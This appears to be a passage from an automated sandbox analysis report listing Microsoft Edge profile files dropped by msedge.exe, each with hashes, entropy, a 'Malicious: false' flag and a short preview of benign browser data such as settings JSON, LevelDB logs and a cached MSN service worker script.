Size (bytes):	9680
Entropy (8bit):	5.10929819790534
Encrypted:	false
SSDEEP:	192:stgkdpd/sWAyaNP9kWVG8jbV+FNgQA+eMPhYJ:stgQd/sWAtJBbGSQu7
MD5:	FAF111FCCD9E3A8121695D9D066190D0
SHA1:	68F4567E1B7F0A4C4FFD2F4EE7EDEA9B230DB6FB
SHA-256:	C51A931085A2E6C581F286A3276F3EF8CCA1B9C4266676C2D840A99D934CAB13
SHA-512:	DA72247DD899C886E9D80B8A0E402F8CAD17E79C377931390E09BE1B97F5EEDB05E4A0CB7D136B13B7B82935D5326C00F024D4A0C3D8AE8513AAAF295E025580
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376696683618403","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.565396359900302
Encrypted:	false
SSDEEP:	768:UV+wjQWPdlfjm8F1+UoAYDCx9Tuqh0VfUC9xbog/OVFkBlxrwZ0BpxtuT7:UV+wjQWPdlfjmu1jaYWlCZwtc
MD5:	38EA540D0AF040BFAC2CA60D7C15017F
SHA1:	75862339DA5804F176EB34A36CE2736147DB8C2E
SHA-256:	C3E5C2D082F7B70836261866A615FCA83D7AE7267193ECA6DC9433690C7A90A1
SHA-512:	4FD58054E19D0E097D22CA38D1D2204F6FD3007D073A9B12E93A26602EF75862F65B0818A66F481A0B7F42085DD0A7AC53B3C812638C7EB03D1B38A85B31FCE8
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376696683028931","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376696683028931","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2c430.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.565396359900302
Encrypted:	false
SSDEEP:	768:UV+wjQWPdlfjm8F1+UoAYDCx9Tuqh0VfUC9xbog/OVFkBlxrwZ0BpxtuT7:UV+wjQWPdlfjmu1jaYWlCZwtc
MD5:	38EA540D0AF040BFAC2CA60D7C15017F
SHA1:	75862339DA5804F176EB34A36CE2736147DB8C2E
SHA-256:	C3E5C2D082F7B70836261866A615FCA83D7AE7267193ECA6DC9433690C7A90A1
SHA-512:	4FD58054E19D0E097D22CA38D1D2204F6FD3007D073A9B12E93A26602EF75862F65B0818A66F481A0B7F42085DD0A7AC53B3C812638C7EB03D1B38A85B31FCE8
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376696683028931","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376696683028931","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.837836849288951
Encrypted:	false
SSDEEP:	24:F2xc5Nm66hcncmo0CRORpllg2DhfRHzVdCRORpllg2C1xzkcyxKCRORpllg2DsRT:F2emR6trdDhfBJXrdsoErdDsBrwrdTBY
MD5:	0F8E619F74410B605EF7DB90A020BABA
SHA1:	E4AB9CAB321A7F1093556BCC96FB254B47EC875B
SHA-256:	1AA6B242573018C4EA736390470FFA7B3F12F121707F219D5F445BAF21DBFA2F
SHA-512:	F3BEC11EA58D4F1C90A56C68E0A3FA6A5E1AD123520C5D4A49B39D5D72F8DBB9D5E29B35CC80C110EF11052465DDAA0D97B81DD6246F3044E282B1F5682332A3
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2..*.m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x..................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.114401103683722
Encrypted:	false
SSDEEP:	6:HE9tzRM1cNwi23oH+TcwtE/a252KLlVE9rc2q2PcNwi23oH+TcwtE/a2ZIFUv:k9t92ZYeb8xLs9TvLZYeb8J2FUv
MD5:	86CED1593A50011E1CFB47234E9EFCCF
SHA1:	14A3EEC55DAF6517097EB312E7A5FEA336501E89
SHA-256:	F802185E2FCE98F6596A2F01A0876FDD55B67927101DD3A7A8D0A80231689D99
SHA-512:	8A4395E514B4E85674A32000C346E8FEDF7DE5FAB1AC1925BAE414708D8D091E42A3D098278E57231F5D26FE009210393E409F27679C13312889AB10A97BB230
Malicious:	false
Preview:	2024/11/21-16:05:01.139 1e4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/21-16:05:01.151 1e4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114271
Entropy (8bit):	5.579161821912811
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKOQG+ZtEBrw:d9LyxPXfOxr1lMe1nL/CL/TXEmAZSlw
MD5:	3B23D6EF4C741ECE66E52DCFE9DED554
SHA1:	D3823FFA6397ABA11856A8C063A9C0F828F6057D
SHA-256:	DA656FA3E32F8C224E2F9D2E25BF8CC0717816131865622ADD68FBF871A7B6E6
SHA-512:	193666CA2E8FC9091B94A34CED270A1E0FB8922145B0FDCEC3A8498906542F74BF25D661225ADC0FBC68D1E9ED8F7D91D46A88765232C00826D1E57C403C6675
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188777
Entropy (8bit):	6.386491403335463
Encrypted:	false
SSDEEP:	3072:AewexaYtjINwRwZBUvL/tfMrSEJzjRGDXb+s:bMNwABYL/pINz96p
MD5:	9B817231F36A6C80C1C8078A0E7421B5
SHA1:	DD325128ACCE2E86F4979F1F84A929E5A183DB64
SHA-256:	B40F0C5FE4ACDCE723B02A8B304B575E89540C32BBF44E8A81472B66F7D55C18
SHA-512:	B69C9B336A4F29A9BD1AC5326210DFC0DF11163CBA972DF33738BE927D8FBFCA89D1DC6E222FAF380EC9268B1907711EEC1E169276C4A06DA4020D086DFA4107
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;Z....x..........,T.8..`,.....L`.....,T...`......L`......Rc..!%....exports...Rc......module....Rc.{......define....Rb..i!....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m.....b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....X...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:hlOjXl/l5V/lxE0tllxsguCn:yz80gguC
MD5:	A58715409E7625A6CE3C9B6F4947F5AE
SHA1:	2854B5D3B85ECAA21E06DAE6A9486CB9DCBA8DC4
SHA-256:	D98DE503CA742DB2122C6406819C7F75FBCFD084B1F8E22BB74117D54AFFD2ED
SHA-512:	1B2BF3F26CA20E14B7AA4F4BA3FDF0AB2AD65788508EE5CBAF1AC1AACB38877D995CFFCFFA6656A40039FEC0F37E0F079E886108190B6BDC710AF32855D3CE92
Malicious:	false
Preview:	@....@U.oy retne.........................X....,..................5.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:hlOjXl/l5V/lxE0tllxsguCn:yz80gguC
MD5:	A58715409E7625A6CE3C9B6F4947F5AE
SHA1:	2854B5D3B85ECAA21E06DAE6A9486CB9DCBA8DC4
SHA-256:	D98DE503CA742DB2122C6406819C7F75FBCFD084B1F8E22BB74117D54AFFD2ED
SHA-512:	1B2BF3F26CA20E14B7AA4F4BA3FDF0AB2AD65788508EE5CBAF1AC1AACB38877D995CFFCFFA6656A40039FEC0F37E0F079E886108190B6BDC710AF32855D3CE92
Malicious:	false
Preview:	@....@U.oy retne.........................X....,..................5.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF30f72.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:hlOjXl/l5V/lxE0tllxsguCn:yz80gguC
MD5:	A58715409E7625A6CE3C9B6F4947F5AE
SHA1:	2854B5D3B85ECAA21E06DAE6A9486CB9DCBA8DC4
SHA-256:	D98DE503CA742DB2122C6406819C7F75FBCFD084B1F8E22BB74117D54AFFD2ED
SHA-512:	1B2BF3F26CA20E14B7AA4F4BA3FDF0AB2AD65788508EE5CBAF1AC1AACB38877D995CFFCFFA6656A40039FEC0F37E0F079E886108190B6BDC710AF32855D3CE92
Malicious:	false
Preview:	@....@U.oy retne.........................X....,..................5.../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6431
Entropy (8bit):	3.402376740382435
Encrypted:	false
SSDEEP:	192:7EA42EJSTUB9Xp+2zKU5DC5SLl9iSr/Du:4A4jSTUB9Xp+2mD5SLl9iSrr
MD5:	5F2A33364AA13AEE50F84510D44FD12E
SHA1:	D93ECB8D7A789771C83731248D7C9127DFD21EA3
SHA-256:	08F8140663B1326FB7D54E1CC544C92B585399BBD1E42B73EC2BB538671BABC4
SHA-512:	1764A483064AD0FA4938AA72A7FA06F8FFD03F2220407C4C61AEF5BC8218E218C655E62C3C832484EBCE4190D250063BFD7025188E46E80CF5D3D9463D967935
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................P.b................next-map-id.1.Cnamespace-70876fc7_a8e8_4105_b3c6_c3cef068d012-https://ntp.msn.com/.0;....................map-0-shd_sweeper./{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.t.q.o.h.p.a.d.c.,.p.r.g.-.h.p.-.d.i.s.p.o.l.l.,.a.d.s.-.c.m.n.-.m.i.g.r.,.a.d.s.-.w.w.-.t.2.-.d.b.l.k.-.r.s.r.,.a.d.s.-.s.m.a.r.t.b.l.c.k.-.d.n.k.,.k.w.-.c.b.v.4.-.d.e.f.a.u.l.t.1.,.k.w.-.s.i.-.d.e.f.a.u.l.t.3.,.s.i.d.-.n.e.w.-.c.l.i.d.,.s.i.d.-.w.1.-.a.d.d.g.n.o.i.s.e.,.s.i.d.-.w.2.-.a.d.d.g.n.o.i.s.e.,.s.i.d.-.w.3.-.a.d.d.g.n.o.i.s.e.,.s.i.d.a.m.o.-.w.1.-.u.n.i.-.s.t.a.g.e.-.2.,.s.i.d.a.m.o.-.w.3.-.u.n.i.-.s.t.a.g.e.-.2.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.2.,.i.c.r.s.c.a.l.l.-.s.p.o.r.t.s.,.p.r.g.-.1.s.w.-.s.a.-.q.p.v.4.3.2.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.1.b.,.p.r.g.-.1.s.w.-.s.a.t.o.p.k.d.e.m.t.1.,.p.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.173482419128917
Encrypted:	false
SSDEEP:	6:HE92jM+q2PcNwi23oH+TcwtrQMxIFUt8YE9eZmw+YE9QMMVkwOcNwi23oH+Tcwtf:k98M+vLZYebCFUt8/9e/+/93MV54ZYeL
MD5:	57B491FDD4EE881E518887C78936541C
SHA1:	F4BDEF739FA0843C31360009838D0BB72591533E
SHA-256:	421B828937F160C043AF5259E8D417A95EF0C7229573C08CE927EE5D93B8F98E
SHA-512:	0911B4705F6BF87B946FF8DA6ADF6A2A90AB36BE8B877053FEE5743875E5971CD03A5693C52359F0129C0F9B6595A9A1DC9A7313C11F2354FBEE76E6EE58F45E
Malicious:	false
Preview:	2024/11/21-16:04:43.677 d8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/21-16:04:43.744 d8c Recovering log #3.2024/11/21-16:04:43.760 d8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.173482419128917
Encrypted:	false
SSDEEP:	6:HE92jM+q2PcNwi23oH+TcwtrQMxIFUt8YE9eZmw+YE9QMMVkwOcNwi23oH+Tcwtf:k98M+vLZYebCFUt8/9e/+/93MV54ZYeL
MD5:	57B491FDD4EE881E518887C78936541C
SHA1:	F4BDEF739FA0843C31360009838D0BB72591533E
SHA-256:	421B828937F160C043AF5259E8D417A95EF0C7229573C08CE927EE5D93B8F98E
SHA-512:	0911B4705F6BF87B946FF8DA6ADF6A2A90AB36BE8B877053FEE5743875E5971CD03A5693C52359F0129C0F9B6595A9A1DC9A7313C11F2354FBEE76E6EE58F45E
Malicious:	false
Preview:	2024/11/21-16:04:43.677 d8c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/21-16:04:43.744 d8c Recovering log #3.2024/11/21-16:04:43.760 d8c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376696685527538

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.822913320146734
Encrypted:	false
SSDEEP:	24:3jcvDVxAWCnpsAF4unxstLp3X2amEtG1ChqHGMXvGLikQKkOAM4:3UVxAlnzF6Lp2FEkCh6vGmFHOp
MD5:	4F7FD8948A06C380D5A68F49FBB2AF63
SHA1:	7DA79D027A1C859ED24C259995504AC2CFF7484B
SHA-256:	4AFD52173ECCFCD2B82D2A74284FFA21733E3A2162D9155EAACBD1CD7495EFB8
SHA-512:	62FAF45C1BABA7C9DFD91D69CA1809FC490AE34F54FEC13C0A2FCFEED2BCF5DAE4020CFDD6D6495C76DAEAE80AC859148CAEA4C23EB6474B707504087E168A00
Malicious:	false
Preview:	SNSS.......p..v...........p..v......"p..v...........p..v.......p..v.......q..v.......q..v....!..q..v...............................p..vq..v1..,...q..v$...70876fc7_a8e8_4105_b3c6_c3cef068d012...p..v.......q..v.....m.........p..v...p..v.......................p..v....................5..0...p..v&...{4B3AC14B-43E5-4896-86E8-9E7D502CE1B5}.....p..v.......p..v..........................q..v...........q..v........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........:.r'...:.r'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	355
Entropy (8bit):	5.149108284480439
Encrypted:	false
SSDEEP:	6:HE90IMq2PcNwi23oH+Tcwt7Uh2ghZIFUt8YE96Zmw+YE9GkwOcNwi23oH+Tcwt7w:k90dvLZYebIhHh2FUt8/96/+/9G54ZYz
MD5:	DAF315C95751758660F62E6166DE59E5
SHA1:	619B6FC7965F9B6D80C6CB2620784F734920F097
SHA-256:	A1C341EC82A3626371D73AB6D185306EF754555F725D7E6230941E2A703AB99A
SHA-512:	61B35CAF3C92A254208F43314480F48FCBF8BEE876DB4A9EB10129B1F86D68AEA4B352885D8AE3EDF81734F7CE4C0343C6FFB2B2E56BC07A17FC23E8BC1DDD29
Malicious:	false
Preview:	2024/11/21-16:04:43.103 584 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/21-16:04:43.104 584 Recovering log #3.2024/11/21-16:04:43.104 584 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	355
Entropy (8bit):	5.149108284480439
Encrypted:	false
SSDEEP:	6:HE90IMq2PcNwi23oH+Tcwt7Uh2ghZIFUt8YE96Zmw+YE9GkwOcNwi23oH+Tcwt7w:k90dvLZYebIhHh2FUt8/96/+/9G54ZYz
MD5:	DAF315C95751758660F62E6166DE59E5
SHA1:	619B6FC7965F9B6D80C6CB2620784F734920F097
SHA-256:	A1C341EC82A3626371D73AB6D185306EF754555F725D7E6230941E2A703AB99A
SHA-512:	61B35CAF3C92A254208F43314480F48FCBF8BEE876DB4A9EB10129B1F86D68AEA4B352885D8AE3EDF81734F7CE4C0343C6FFB2B2E56BC07A17FC23E8BC1DDD29
Malicious:	false
Preview:	2024/11/21-16:04:43.103 584 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/21-16:04:43.104 584 Recovering log #3.2024/11/21-16:04:43.104 584 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0018090556708630736
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zEZlPx2X:/M/xT02zqx
MD5:	5317430BE100F189FD0B79C0D6F24AEF
SHA1:	5B3E185885367815FF9A691BC5A3EF9D65E53EB9
SHA-256:	9F57AFDECE16BC55FEE28471ED45CD1791159D51790600F0723975DBB719C420
SHA-512:	D343E46612195FE7C6A038220825394A6F19145C985D5201B0E81D6D5018923CC98E9D958EA3BDE49FAFF68CF345F9FB31E1C914CB7FE279A26DA3522CA56300
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
